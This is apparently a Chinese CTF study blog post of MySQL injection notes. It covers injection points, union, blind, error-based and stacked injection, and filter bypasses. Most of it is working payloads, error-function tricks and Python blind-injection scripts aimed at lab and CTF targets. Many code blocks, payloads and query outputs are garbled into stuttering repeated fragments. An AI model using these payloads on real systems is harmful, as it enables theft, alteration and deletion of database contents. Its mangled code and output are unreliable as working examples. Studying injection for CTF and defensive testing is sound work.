Toc
  1. 注入点位置
    1. 增 - insert中
    2. 查 - where后
    3. 查 - limit注入
    4. 查 - order by注入
    5. 改 - update注入
    6. 删 - delete
  2. 注入方法
    1. union注入
      1. 联合查询注入步骤
        1. 若Mysql版本<5.0
        2. 若Mysql版本>=5.0
    2. 布尔盲注
    3. 时间盲注
      1. 题目源码
      2. 方法
        1. 方法一:笛卡尔积
        2. 方法二:GET_LOCK加锁
        3. 知识点
        4. 方法三:正则匹配延迟
        5. 方法四:Benchmark函数
        6. 参考### 参考链接
    4. 报错注入
      1. 基本注入方法
        1. 不存在的函数
        2. join using() 爆出列名
      2. 突破长度限制
      3. 部分老函数
        1. 几何函数
        2. Bigint数值操作:
      4. 报错函数速查表
      5. 使用库中不存在的函数
    5. 堆叠注入
      1. 随便注
      2. 特殊方法
      3. 预编译
      4. handler
      5. sql_mode
        1. pipes_as_concat
    6. 二次注入
  3. 绕过过滤的骚操作
    1. 注释符绕过(waf)
    2. 字符串变换
    3. 过滤等号绕过
    4. 过滤空格绕过
    5. 过滤括号绕过
      1. order by盲注
    6. 过滤引号绕过
    7. 过滤逗号绕过
    8. 过滤数字绕过
    9. 过滤关键字and、or
    10. 过滤关键字st
    11. 过滤关键字information_schema等
      1. innodb
      2. sys数据库
  4. 过滤其他关键字
  5. 无列名注入
    1. 通过join报错获取列名
    2. 使用子查询绕过列名
    3. 生僻函数报错出表名
    4. order by盲注
    5. union…select 被过滤
    6. 2、into outfile写文件
    7. 3、日志写文件
  6. 读文件功能
    1. 1、load_file读取文件
    2. 2、load data infile()读文件
  7. Rogue-MySql-Server任意文件读取
    1. exp
  8. .mysql.history
  • 注入脚本
    1. 非类版
    2. 辅助获取flag脚本
  • 常见语句
  • Toc
    0 results found
    Rayi
    SQL注入笔记2.0
    2020/04/20 学习笔记 sql注入

    船新的2.0版本来了

    借鉴了一下大佬们的博客,重新写了些

    文章太长,右下角点击圆点有目录

    目录有可能会被我老婆挡住,不要在意

    –Rayi 2020.4.15

    注入点位置

    我们知道,在数据库中,常见的对数据进行处理的操作有:增、删、查、改这四种。

    每一项操作都具有不同的作用,共同构成了对数据的绝大部分操作。

    • 增。顾名思义,也就是增加数据。在通用的SQL语句中,其简单结构通常可概述为: INSERT table_name(columns_name) VALUES(new_values)

    • 查。查询语句可以说是绝大部分应用程序最常用到的SQL语句,他的作用就是查找数据。其简单结构为:SELECT columns_name FROM table_name WHERE condition

    • 改。有修改/更新数据。简单结构为:UPDATE table_name SET column_name=new_value WHERE condition

    • 删。删除数据。简单结构为: DELETE table_name WHERE condition

    增 - insert中

    原语句常见为

    insert into member(username,pw,sex,phonenumrt中
    
    原语句常见为
    
    ```mysql
    insert into member(username,pw,sex,p1110.com','a')

    此处有两种注入方式,

    第一种是插入查询语句,将查询的数据存入相关表,再另找一个可以显示数据的地方即可;

    第二种是报错注入

    insert into member(username,pw,sex,phonenum,email,address) values('admin'or updatexmr updatexm updatexmupdatexmdatexmatexmtexmexmxmmusers())),0) or'ert into member(username,pw,sex,phonenum,email,address) vvaues('wangwu'or updatexml(1,concat(0x7e,(users())),0) or'',md5('aa'),'a','aa','a','a')
    
    #第一种,payload=',(select database())); #(实际注入无分号即可)
    mysql> insertertrttnto users(id,username,password) VAL',(sel VAL',(selVAL',(selAL',(sel',(sel,(sel(selselell,'');
    Query OK, 0 sec)
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> select * from users;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  1 | Dumb     | Dum   |
    |  2 | Angelina | I-kill-you |
    |  3 | Dummy    |    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1     n2   | admin2     |
    in3      hah     hah    hah   hah  hah hahaahakakk | ahakaahaahaahakakk | dumbo      |
    | 14 | addmin4     |
    | 15 | rayi     | 0          |
    | 16 | rayi     | security  ity  ty  y     +------------+
    15 rows in set (0.06 sec)
    #第二种
    第二种
    mysql> insert into users(username,password) VALUES('rayi','' and updatexml(1,concat(0x7e,(select database()),0x7e),0));
    1105 - XPATH syntax error: '~security~'

    insert注入需要用 and '1'='1 闭合,不能直接用注释符,否则会因为数据数目不对而出现语法错误

    查 - where后

    原语句应该为:

    select * from users where username = 'admin' and password = '注入点'

    检测的方法有许多,例如检测是否有报错,联合查询的结果能不能回显,能否进行延时,能否堆叠注入等

    ?id=1'
    ?id=1"
    ?id=1')
    ?id=1")
    ?id=1' and 1=2 #
    ?id=1' and sleep(5)#
    ?id=1' union select 1,2,3#
    ?id=1' and 1=2 or '
    ?id=1';select sleep(5);#
    #利用反斜杠也可以检测注入点
    ?id=1\

    查 - limit注入

    适用语句:

    SELECT field FROM table WHERE id > 0 ORDER BY id LIMIT [注入点]

    因为order by的存在,我们无法使用union关键字,但是经过查阅mysql5.x文档的select使用语法,可以发现在limit语句后还有PROCEDURE 和 INTO 关键字

    SELECT
        [ALL | DISTINCT | DISTINCTROW ]
          [HIGH_PRIORITY]
          [STRAIGHT_JOIN]
          [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT]
          [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS]
        select_expr [, select_expr ...]
        [FROM table_references
        [WHERE where_condition]
        [GROUP BY {col_name | expr | position}
          [ASC | DESC], ... [WITH ROLLUP]]
        [HAVING where_condition]
        [ORDER BY {col_name | expr | position}
          [ASC |DESC], ...]
        [LIMIT {[offset,] rt | row_count OFFSET  offset}]
        [PROCEDURE procedure_name(aamame(argument_list)]
        [INTO OUTFILE 'file_name' export_options
          | INTO DUMPFILE 'file_name'
          | INTO var_name [, var_name]]
        [FOR UPDATE | LOCK IN SHARE MODE]]

    我们都知道若注入点在where子语句之后,判断字段数可以用order bygroup by来进行判断,而limit后可以利用 into @,@ 判断字段数,其中@为mysql临时变量。

    img

    重点在于PROCEDURE存储过程关键字可以执行某些函数

    payload在我本地实验时并没有打通,后来百度可知该方法只适用于5.0.0<mysql<5.6.6的版本

    在这里先借用别人的执行结果

    mysql> SELECT field FROM user WHERE id >0 OR id LIMIT 1,1 procedure analyse(extractvalue(rand(),concat(0x3(0(0x3a,version())),1);
     
    ERROR 1ATH syntax error: ':5.5.41-0ubuntu0.14.04.1'
    
    
    SELECT field FROM table WHERE id > 0 ORDER BY iDER BY iER BY iR BY i BY iBY iY i iiMIT 1,1 PROCEDURE analyse((s(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

    sleep函数无法使用,只能用benchmark延时。

    例题:

    hacking lab inject 04

    image-20191208192058651

    查 - order by注入

    下面还有一个order by盲注跟这个有些许不同

    先说这里,这里order by注入指的是注入点在order by语句处

    select id,name,price from goods order by [注入点]

    在这里能用到的注入方法有布尔盲注,时间盲注和报错注入

    布尔盲注

    28

    可以看到,当判断结果不同时,页面返回的结果也就不同

    image-20191208193600229

    由此我们可以盲注处数据

    同理,可以利用时间盲注

    如果页面报错有回显的话,报错注入显然是个更好的选择

    image-20191208193828309

    改 - update注入

    同增,有两种办法

    update member set sex='q',phonenum='test'or updatexml(2,concat(0x7e,(users())),0) or'',address='q',email='q' where username='q'
    
    mysql> update users set username = 'asd',password = (select database()) where id=19;
    Query OK, 1 row affected (0.00 sec)
    Rows matched: 1  Chanings: 0
    mysql> select * from users;
    +----+----------+------+----+------------+
    | id | use 10 | admin2   | admin-+----+-+----+------------+
    |  1 | Dumb     | Dumb       |
    |  2 | Angelinlina | I-kill-you |
    |  3 | Dummy    | p@ssword   |
    |  4 | secure   | crappy     |
    |  5 | stupid   | stupidity  |
    |  6 | superman | genious    |
    |  7 | batman   | mob!le     |
    |  8 | admin    | admin      |
    |  9 | admin1   | admin1  min2   | admin2     |
    | 11 | admin3   | admin3     |
    |   |
    |    |
    | 12 | dhakkan  | dumbo      |
    | 14 | admin| admin adminadmindminmininn5 | rayi     | 0          |
    | 16 | r  | security   |
    | 17 | rayi     | 1          |
    | 18 | rayi     | asd        |
    | 19 | asd      | security   |
    +----+----------+------------+
    18 rows in set (0.07 sec)
    
    mysql>

    删 - delete

    注意不要用判断为真的语句,否则容易造成删库的后果

    mysql> delete from userd=19 and updatexml(0,conca(0x7e,(select de()),0x7e),0)e),ee),0);
    1105 - XPATH syntax error:  '~security~'rity~'

    注入方法

    union注入

    最常用的注入方式之一

    联合查询注入步骤

    1) 首先,先确定字段数量。

    使用order/group by语句。通过往后边拼接数字,可确定字段数量,若大于,则页面错误/无内容,若小于或等于,则页面正常。若错误页与正常页一样,更换报错注入/盲注。

    2) 第二步,判断页面回显数据的字段位置。

    使用union select 1,2,3,4,x... 我们定义的数字将显示在页面上,即可从中判断页面显示的字段位置。

    注意:

    • 若确定页面有回显,但是页面中并没有我们定义的特殊标记数字出现,可能是页面现在了单行数据输出,我们让前边的select查询条件返回结果为空即可。
    • 注意一定要拼接够足够的字段数,否则SQL语句报错。PS:此方法也可作为判断前条select语句的方法之一。

    3) 第三步,在显示的字段位置使用子查询来查询数据,或直接查询也可。

    首先,查询当前数据库名database()、数据库账号user()、数据库版本version()等基本情况,再根据不同的版本、不同的权限确定接下来的方法。

    若Mysql版本<5.0

    简单的说,由于mysql的低版本缺乏系统库information_schema,故通常情况下,我们无法直接查询表名,字段(列)名等信息,这时候只能靠来解决。

    直接猜表名与列名是什么,甚至是库名,再使用联合查询取数据。

    若知道仅表名而不知道列(字段)名:

    可通过以下payload:(后面会详细讲)

    • 若多字段:select x from(select 1,2,3,4,xxx from table_name union select * from table_name)a
    • 若单字段:select *,1,2,xxx from table_name
    若Mysql版本>=5.0

    首先去一个名为information_schema的数据库里的shemata数据表查询全部数据库名

    若不需要跨数据库的话,可直接跳过此步骤,直接查询相应的数据库下的全部数据表名。

    在information_schema的一个名为tables的数据表中存着全部的数据表信息

    其中,table_name 字段保存其名称table_schema保存其对应的数据库名

    union select 1,2,group_concat(table_name),4,xxxx from information_schema.tables where table_schema=database();

    上述payload可查看全部的数据表名,其中group_concat函数将多行数据转成一行数据。

    接着通过其表名,查询该表的所有字段名,有时也称列名。

    通过information_schema库下的columns表可查询对应的数据库/数据库表含有的字段名。

    Union select 1,2,group_concat(column_name),4,xxxx from information_schema.columns where table_schema=database() and table_name=(table_name)#此处的表名为字符串型,也通过十六进制表示

    知道了想要的数据存放的数据库、数据表、字段名,直接联合查询即可。

    Union select 1,2,column_name,4,xxx from (database_name.)table_name

    简单的说,查库名->查表名->查字段名->查数据

    布尔盲注

    首先通过页面对于永真条件or 1=1与永假条件and 1=2的返回内容是否存在差异进行判断是否可以进行布尔盲注。

    我们在将语句注入成:select * from users where username=$username or (condition)

    若后边拼接的条件为真的话,那么整条语句的where区域将变成永真条件。

    时间盲注

    mysql> select password from users where username='admin' and if(ascii(substr((select database()),1,1))>1,sleep(3),0);
    Empty set (3.00 sec)

    时间盲注在ctf比赛和平时生产环境中都是比较常见的,但是当我们常用的函数被过滤的话,那该怎么办呢?
    这里借一个题好好研究下

    题目源码

    <?php
    require 'conn.php';
    $id = $_GET['id'];
    if(preg_match("/(sleep|benchmark|outfile|dumpfile|load_file|join)/i", $_GET['id']))
    {
        die("you bad bad!");
    }
    $sql = "select * from article where id='".intval($id)."'";
    $res = mysql_query($sql);
    if(!$res){
        die("404 not found!");
    }
    $row = mysql_fetch_array($res, MYSQL_ASSOC);
    mysql_query("update view set view_times=view_times+1 where id = '".$id." '");
    ?>

    第一处语句是不能注入的,因为被强制转换为了整数
    看最后一行,$id没有任何转换就拼接入了update语句,于是,我们可以使用时间盲注获取数据
    一般我们会用 sleep(5) 或者是 benchmark 来多次执行md5操作来换取比较长的执行时间来替代延时。那么是不是有别的方式替代呢?
    这里有三个办法。

    方法

    方法一:笛卡尔积

    这种方法又叫做heavy query,可以通过选定一个大表来做笛卡儿积。
    但这种方式执行时间会几何倍数的提升,在站比较大的情况下会造成几何倍数的效果,导致延时时间无法控制。
    实际利用起来不算好用。
    不过一般ctf题中的数据库应该不会太大,可以一试

    SELECT count(*) FROM information_schema.columns A, information_schema.columns B;

    这里选用information_schema.columns表的原因是其内部数据较多,到时候可以根据实际情况调换。
    A,B的意思就是构成有序N元组,AB是其顺序。
    查询结果如下

    可以看到,当为有序三元组时,有了较为明显的延迟。
    所以在写时间盲注脚本的时候把sleep函数替换为

    (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C)

    即可。
    脚本如下:

    
    url = 'http://127.0.0.1/Less-9/?id=1'
    
    beg = "' and if' and if(ascii(substr((select database()),{0},1))={1},"
    
    end = "(SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.columns C),NULL);--+"
    flag = ''(1,11):
        for j in range(32,127):
            payload = urad =ad =ad = url + beg.format(i,j) + end
          try:
                web = requests.get(payet(payet(payet(eet(eet(payload,timeout=5)
            except:
            flag += chr(j)
                print(flag)
                break
    
    ````
    方法二:GET_LOCK加锁
    知识点
    • mysql_pconnect(server,user,pwd,clientflag)

    mysql_pconnect() 函数 打开一个到 MySQL 服务器的持久连接
    mysql_pconnect()mysql_connect() 非常相似,但有两个主要区别:
    1、当连接的时候本函数将先尝试寻找一个在同一个主机上用同样的用户名和密码已经打开的(持久)连接,
    如果找到,则返回此连接标识而不打开新连接。
    2、当脚本执行完毕后到 SQL 服务器的连接不会被关闭,此连接将保持打开以备以后使用
    (mysql_close() 不会关闭由 mysql_pconnect() 建立的连接)。

    • get_lock(str,timeout)

    Tries to obtain a lock with a name given by the string str, using a timeout of timeout seconds. A negative timeout value means infinite timeout. The lock is exclusive. While held by one session, other sessions cannot obtain a lock of the same name.
    get_lock会按照key来加锁,别的客户端再以同样的key加锁时就加不了了,处于等待状态。
    在一个session中锁定变量,同时通过另外一个session执行,将会产生延时

    举个栗子
    打开两个mysql的shell
    现在一个shell中执行命令 select get_lock(‘test’,5) 先上锁
    然后另外一个shell中执行重复的命令

    第二个shell中便出现延迟

    至于为什么出现上图的情况吗。。。。
    原理不明。。。。
    所以写脚本的时候,先加锁,在盲注即可

    import requests
    
    url = 'http://127.0.0.1/Less-9/?id=1'
    
    beg = "' and if(ascii(substr((select database()),{0},1))={1},"
    
    end = "(select get_lock('test',8)),NULL);--+"
    flag = ''
    prepare = requests.get(url+"' and select get_lock('test',8)--+")
    for i in range(1,11):
        for j in range(37,127):
            payload = url + beg.format(i,j) + end
            print(payload)
            try:
                web = requests.get(payload,timeout=5)
            except:
                flag += chr(j)
                print(flag)
                break
    方法三:正则匹配延迟
    rpad(0x61,4999999,0x61) RLIKE concat(repeat((0x28612e2a29),30),0x62)
    -- 大约是5秒
    方法四:Benchmark函数
    mysql> select benchmark(10000000,sha(1)); 
    +-------------------------------+
    |benchmark(10000000,sha(1))| 
    +-------------------------------------
    |                                   0| 
    +---------------------+ 
    1 row in set (2.79 sec)
    参考### 参考链接

    MYSQL时间盲注五种延时方法
    sql注入学到的延时盲注新式攻击

    报错注入

    基本注入方法

    我们前边说到,报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。

    那么,我们具体来说说,都有哪些特殊函数,以及他们都该怎么使用。

    MySQL的报错注入主要是利用MySQL的一些逻辑漏洞,如BigInt大数溢出等,由此可以将MySQL报错注入分为以下几类:

    • BigInt等数据类型溢出
    • 函数参数格式错误
    • 主键/字段重复
    #数据溢出
    
    #格式错误
    -- 以下为都能用的函数
    ## updpd数
    ## updpd数
    ## udpd数
    ## upd数
    ## u数
    ## u
    ## u## u# u uu# upd# upd updup(0x7e, user())),1);
    1105 - XPATH syntax error: '~root@localhost'
    ## '
    '
    ## extractvalue()
    mysql> select * from users where id = '18' or extractvalue(1,concat(0x7e,(select user())));
    1105 - XPATH syntax error: '~root@localhost'
    ## rand()+group()+count()
    mysql> select count(*),2,concat('concat('oncat('cat('at('t('(''',(select database()),':',floor(ra_schema.tablesct database()),':',floor(rand()*2))as a from information_schema''
    ## name_const()(只能显示版本号)
    mysql> select * from(select name_const(version(),0x1),name_const(version(),0x1))a;
    1060 - Duplicate column name '5.7.26'
    
    -- 以下函数为mysql5.7以上的新函数
    ## ST_LatFromGeoHST_LongFromGeoHash(),ST_PointFromGeoHash()
    ysql> select ST_PoSST_PointFromGeoHact group_concat(id)  from users),1);
    ERROR 1411 (HY000): Incorre Incorrect geohash value: '1,2,3,4,5,6,7,8,9,10,11,12,14' for function st_pointfromgeohash
    mysql> select 1 and ST_LatFromGeoHash((select group_concat(id) at(id) t(id) (id) id) d) )  1 (HY000): Incorrect geohash value: 4,4,1,4,4,,1,4,4,,4,4,4,4,,4,4,,12,14' for function ST_LATFROMGEOHelect 1 and ST_LongFromGeoHash((select group_concat(id) from users));
    ERROR 1411 (HY000): Incorrect geohash value: '1,2,3,4,5,6,7,8,9,10,11,12,14' for function ST_LONGFROMGEOHROMGEOHOMGEOHMGEOHEOHOHHID_SUBTRACT()
    mysT()
    mys()
    mys)
    mys
    mys
    ysyssTRACT((select gro;
    ERROR 1772 (HY000): Malformed Gt specification '1,2,3,4,5,6,7,8,9,10,11,12,14'.
    ## GTID_SUBSET(UBSET()
    mysql> select gtid_subset(concat(0x7e,(select group_concat(id) from users)),1);
    Malformed GTID set specification '~1,2,3,4,5,6,7,8,9,10,11,12,14,15,16,17,18'.
    
    -- 以下为8.x的函数
    mysql> SELECT UUID_TO_BIN((SELECT password FROM users WHERE id=1));
    mysql> SELECT BIN_TO_UUID((SELECT password FROM users WHERE id=1));
    不存在的函数

    随便适用一颗不存在的函数,可能会得到当前所在的数据库名称。

    img

    join using() 爆出列名

    通过系统关键词join可建立两个表之间的内连接。

    通过对想要查询列名的表与其自身建议内连接,会由于冗余的原因(相同列名存在),而发生错误。

    并且报错信息会存在重复的列名,可以使用 USING 表达式声明内连接(INNER JOIN)条件来避免报错。

    mysql>select * from(select * from users a join (select * from users)b)c;
    1060 - Duplicate column name 'id'
    mysql>select * from(select * from users a join (select * from users)bng(id))c;
    1060 - Duplicate column name 'username'
    mysql>seleclecclececc* from(select * from users a join (select * from users)b u(id,username))c

    突破长度限制

    有的时候flag长度会超过报错函数的长度

    可以使用substr等函数做限制。或者直接用REVERSE()函数反向输出

    mysql> select * from users where id=1 or updatexml(1,concat(0x7e,substr(user(),1,10)),1);
    1105 - XPATH syntax error: '~root@local'

    部分老函数

    未经验证

    几何函数
    • GeometryCollection:id=1 AND GeometryCollection((select * from (select* from(select user())a)b))
    • polygon():id=1 AND polygon((select * from(select * from(select user())a)b))
    • multipoint():id=1 AND multipoint((select * from(select * from(select user())a)b))
    • multilinestring():id=1 AND multilinestring((select * from(select * from(select user())a)b))
    • linestring():id=1 ANDESTRING((select * from(select * from(select user())a)b))
    • mulmmultipolygon() :id=1 AND multipolygon((select * from(select * from(select user())a)b))
    Bigint数值操作:

    当mysql数据库的某些边界数值进行数值运算时,会报错的原理。

    如~0得到的结果:18446744073709551615

    若此数参与运算,则很容易会错误。

    payload: select !(select * from(select user())a)-~0;

    报错函数速查表

    注:默认MYSQL_ERRMSG_SIZE=512

    类别 函数 版本需求 5.5.x 5.6.x 5.7.x 8.x 函数显错长度 Mysql报错内容长度 额外限制
    主键重复 floor round ✔️ ✔️ ✔️ 64 data_type ≠ varchar
    列名重复 name_const

    |
    |
    |||
    ||||
    |||||
    |

    |

    |

    |
    |

    |

    |

    |

    |

    |
    |

    |

    |
    |

    |
    |
    ||
    |
    ||
    | 列名重复 | join | [5.5.49, ?) | ✔️ | ✔️ | ✔️ | ✔️ | | | only columns |
    | 数据溢出 - Double | 1e308 cot exp pow | [5.5.5, 5.5.48] | ✔️ | | | | | MYSQL_ERRMSG_SIZE | |
    | 数据溢出 - BIGINT | 1+~0 | [5.5.5, 5.5.48] | ✔️ | | | | | MYSQL_ERRMSG_SIZE | |
    | 几何对象 | geometrycollection linestring multipoint multipolygon multilinestring polygon | [?, 5.5.48] | ✔️ | | | | | 244 | |
    | 空间函数 Geohash | ST_LatFromGeoHash ST_LongFromGeoHash ST_PointFromGeoHash | [5.7, ?) | | | ✔️ | ✔️ | 128 | | |
    | GTID | gtid_subset gtid_subtract | [5.6.5, ?) | | ✔️ | ✔️ | ✔️ | 200 | | |
    | JSON | json_* | [5.7.8, 5.7.11] | | | ✔️ | | 200 | | |
    | UUID | uuid_to_bin bin_to_uuid | [8.0, ?) | | | | ✔️ | 128 | | |
    | XPath | extractvalue updatexml | [5.1.5, ?) | ✔️ | ✔️ | ✔️ | ✔️ | 32 | | |

    摘自——Mysql 注入基础小结

    新操作:

    使用库中不存在的函数

    使用一个不存在的函数时,会爆出库名

    mysql> select 1 and sdf();
    ERROR 1305 (42000): FUNCTION security.sdf does not exist

    堆叠注入

    简单的说,由于分号;为MYSQL语句的结束符。若在支持多语句执行的情况下,可利用此方法执行其他恶意语句,如RENAMEDROP等。

    注意,通常多语句执行时,若前条语句已返回数据,则之后的语句返回的数据通常无法返回前端页面。建议使用union联合注入,若无法使用联合注入, 可考虑使用RENAME关键字,将想要的数据列名/表名更改成返回数据的SQL语句所定义的表/列名 。具体参考:2019强网杯——随便注Writeup

    PHP中堆叠注入的支持情况:

    Mysqli PDO MySQL
    引入的PHP版本 5.0 5.0 3.0之前
    PHP5.x是否包含
    多语句执行支持情况 大多数

    随便注

    1567580089568

    输入1,返回如图,输入1'发现报错

    error 1064 : You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ‘’1’’’ at line 1

    由此可得到闭合方式,继续测试,输入1' and 1=2#无回显,输入1' and 1=1#出现回显。

    尝试报错注入,使用updatexml函数发现过滤条件。

    1567580265654

    过滤了大部分常用的语句,一时间有没有绕过的方法,再尝试下堆叠注入

    输入1';show tables#出现回显

    1567580359800

    看样子堆叠注入可行,用1’;desc `1919810931114514`#查询下表的内容

    1567580544609

    flag应该就在1919810931114514表的flag字段里,没有select怎么才能查询出来呢?

    有个比较骚的操作,我们可以把flag所在表的表名改成题目正常查询用的名字,也就是把表1919810931114514与words表的名称对调

    修改表名(将表名user改为users)
    alter table user rename to users;
    
    修改列名(将字段名username改为name)
    alter table users change uesrname name varchar(30);
    
    payload
    1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#

    1' or 1=1#查询即可得到payload

    特殊方法

    因为预编译可以执行许多sql语句,包括修改一些环境变量啥的,所以把这些可以修改的地方记录下来

    预编译

    需要用到一个叫做预编译的的方法

    预编译相关语法:

    set用于设置变量名和值
    prepare用于预备一个语句,并赋予名称,以后可以引用该语句
    execute执行语句
    deallocate prepare用来释放掉预处理的语句

    payload:

    -1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
    
    拆分开来如下
    -1';
    set @sql = CONCAT('se','lect * from `1919810931114514`;');
    prepare stmt from @sql;
    EXECUTE stmt;
    #

    类似于命令执行中的拼接命令

    import requests
    import time
    import threading
    import string
    import binascii
    
    s1=threading.Semaphore(10)										 #这儿设置最大的线程数
    def get_content(pos):
    	s1.acquire()											 
    	for j in range(37,127):
    		url = "	url = "url = "rl = "l = " = "= " "" = "= " ""ebd767944ea2b784b2.i?id="
    		payload_1 = "%df';set @sql = CONCAT(0x{});prepare separeepare stmt from @sql;EXECUTE stmt;"
    		#payload_2 = "select if(ascii(substr((select table_name from information_schema.tables where table_schema=database()),1,1))>0,sleep(5),1)"
    		payload_2 = "select if(ascii(substr((select fllllll4g from table1),{0},1))={1},sleep1},sleep},sleep,sleepsleepleepeepepp1)"
    		#payload = "%df'|| if(pad(0x61,4999999,0x61) RLIKE concat(repeat((0x28612e2a29),30),0x62)),1);"
    
    		payload_2_tmp = payload_2.format(str(pos),str(j))
    		payload = payload_1.format(binascii.b2a_hex(payload_2_tmp.encode('utf8')).decode('utf8'))
    		tmp_url = url + payload
    		#print(tmp_url)
    		try:
    			web = requests.get(tmp_url,timeout=2)	:
    			print(str(pos),chr(j))
    			break
    
    	s1.release()
    
    )
    )
    ))
    
    for i in range(1,45):														 #加入多线程
       t = threading.Thread(target=get_content, args=(i,))
       t.start()

    handler

    随便住的强化版

    不能修改表名,也过滤了set和prepare

    害怕吗?

    img不怕,还有这个奇怪的东西!

    mysql> handler users open as test;
    Query OK, 0 rows affected (0.00 sec)
    
    mysql> handler test read first;
    +----+----------+----------+
    | id | username | password |
    +----+----------+--------- Dumb     | Dumb     |
    +----+----------+----------+
    1 ro1 r1 11 row in set (0.01 sec)
    
    mysql> handler test read next;
    +----+----------+------------+
    | id | username | password   |
    +----+----------+------------+
    |  2 | Angelina | I-love-you |
    +----+----------+------------+
    1 row in set (0.00 sec)
    
    mysql> handldllest read next;
    +----+----------+----------+
    | id | usernamee | password |
    +----+----------+--------+------+-----+----+---+--------- 3 | Dummy    | p@ssword |
    -+
    1 1';
    HANDLER FlagHere OPEN;
    HANDLER FlagHeragHagaagHere agHeragagHere READ FIRST;
    HANDLER FlagHere CLOSE;#

    sql_mode

    pipes_as_concat

    可以将||变为字符串链接符而不是运算符

    例如[SUCTF 2019]EasySQL

    <?php
    
        if(isset($post['query'])){
            $BlackList = "prepare|flag|unhex|xml|drop|create|insert|like|regexp|outfile|readfile|where|from|union|update|delete|if|sleep|extractvalue|updatexml|or|and|&|\"";
            //var_dump(preg_match("/{$BlackList}/is",$post['query']));
            if(preg_match("/{$BlackList}/is",$posts",$post",$post$postpostoststt'query'])){
                //echo $po"Nonono.");
            }
            if(strlen($post['query'])>40){
                die("Too long.");
            }
            $sql = "select ".$post['query']."||flag from Flag";
            mysqli_multi_query($MysqlLink,$sql);
            do{
                if($res = mysqli_store_result($MysqlLink)){
                    while($row = mysqli_fetch_row($res)){
                                                       (@mysq(@mysqsq(@mysqqsq(@mysqqqsq(@mysqli_next_result($MysqlLink));
    
        }
    
        ?>

    重要的语句是

    $sql = "select ".$post['query']."||flag from Flag";

    如果||是或运算符,返回的结果就只是0和1了,所以这里有两个解法

    1、利用堆叠注入修改sql_mode变量为pipes_as_concat,把||变为链接符

    Payload = 1;set sql_mode=PIPES_AS_CONCAT;SELECT 1

    image-20200206150547532

    2、题目没过滤*

    Payload = *,1

    image-20200206150626418

    二次注入

    就是先把注入语句写到数据库里

    然后找到一个查询点激活注入语句

    绕过过滤的骚操作

    注释符绕过(waf)

    #常用注释符
    //, -- , /**/, #, --+, -- -, ;,%00,--a
    #本地测试未成功,但部分题确实可以绕过
    U/**/NION/**/SE/**/LECT/**/user,pwd/**/from/**/user
    #内联注释,注意叹号
    id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM/*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()--
    
    myelect * /*!from*/ users;
    +----+----------+------------+
    | id| uiid| use 10 | adm 10 | adm0 | adm | adm| adm admadmdmmin-+----+-+-+--------umb       |
    |  2 | Angelina | I-kill-you |
    |  3 | Dum|| Dummy    | p@ssword   |
    +----+----------+------------+
    3 rows in set (0.09 sec)

    字符串变换

    #大小写
    ?id=1+UnIoN SeLeCT
    #双写
    有时候过滤不严谨,只会做关键词替换
    ununionion => union
    #拆解字符串
    ?id=1' or '11+11'='11+11'

    过滤等号绕过

    #使用like
    mysql> select * from users where username='admin' and if(substr((select database()),1,1) like 's',1,0);
    +----+----------+----------+
    | id | username | password |
    +----+------+----------+
    |  8 | admin    | admin    |
    +----+------1 row in set (0.05 sec)
    mysql> select * from users wm userm usm m users where username='admin' and if(substr((select database()),1,1) like 'a',1,0);
    Empty set
    #使用in
    mysql> select * from users where username='admin' and if(substr((select database()),1,1) in('a'),10);
    Empty set
    mysql> select * from users where username='adminn' and if(substr((select database()),1,1) in('s'),1,0);
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    |  8 | admin    | admin    |
    +----+----------+----------+
    1 row in set (0.04 sec)
    #使用<>(注意是不等于!!)
    mysql> select * from users where username='admin' and if(substr((select database()),1,1) <> 's',1,0);
    Empty set
    mysql> select * from users where username='admin' and if(substr((select database()),1,1) <> 'a',1,0);
    +----+----------+----------+
    | id | username | password |
    +----------+----------+
    |  8 | admin    | admin  ----+---------------+----------+
    1 row in set (0.04 sec)
    #使用reg用用regexp()筛选
    mysql> select username from users where username regexp('^bat');
    +---rname |
    +----------+
    | batman   |
    +----------+
    1 row
    1 row
    1 row in set (0.01 sec)

    过滤空格绕过

    #使用注释符/**/
    mysql> select/**/database();
    +------------+abase() |
    ---------+
    | security   |
    +------------+
    1 row in setnn set (0.040004 sec)
    #使用加号(URL中使用记得编码)%2B
    mysql> select+database();
    +-------------+
    | +database() |
    +-------------+
    | security    |
    +-------------+
    1 row in set (0.05 sec)
    #使用括号嵌套
    mysql> select username from users where username='admin'union(select(password)from(users));
    +------+---------------------------
    +----------admin      |
    | Dum  |
    | I-kill-you |
    | p@ssword   |
    +------------------+
    4 rows in set (0.05 sec)
    #使用其他不可见字符
    %09, %0a, %0b, %0c, %0d, %a0等
    #and/or后面可以跟上偶数个!、~可以替代空格,也可以混合使用(规律又不同),and/or前的空格可用省略(未复现成功)
    select * from user where username='admin'union(select+title,content/**/from/*!article*/where/**/id='1'and!!!!~~1=1)

    以上方法全部被过滤时,可以用^进行布尔盲注或者时间盲注

    image-20200408120652613

    ?id=0'^1 --+
    ?id=0'^0
    ?id=0'^(ascii(substr(database(),1,1))>1)
    ?id=0'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),{0},1))={1})

    过滤括号绕过

    order by盲注

    如果注入的时候没有报错,我们又不知道列名,就只能用order by 盲注了

    当然,在过滤了括号的时候,order by盲注也是个很好的办法

    只适用于表里就一行数据的时候。。。

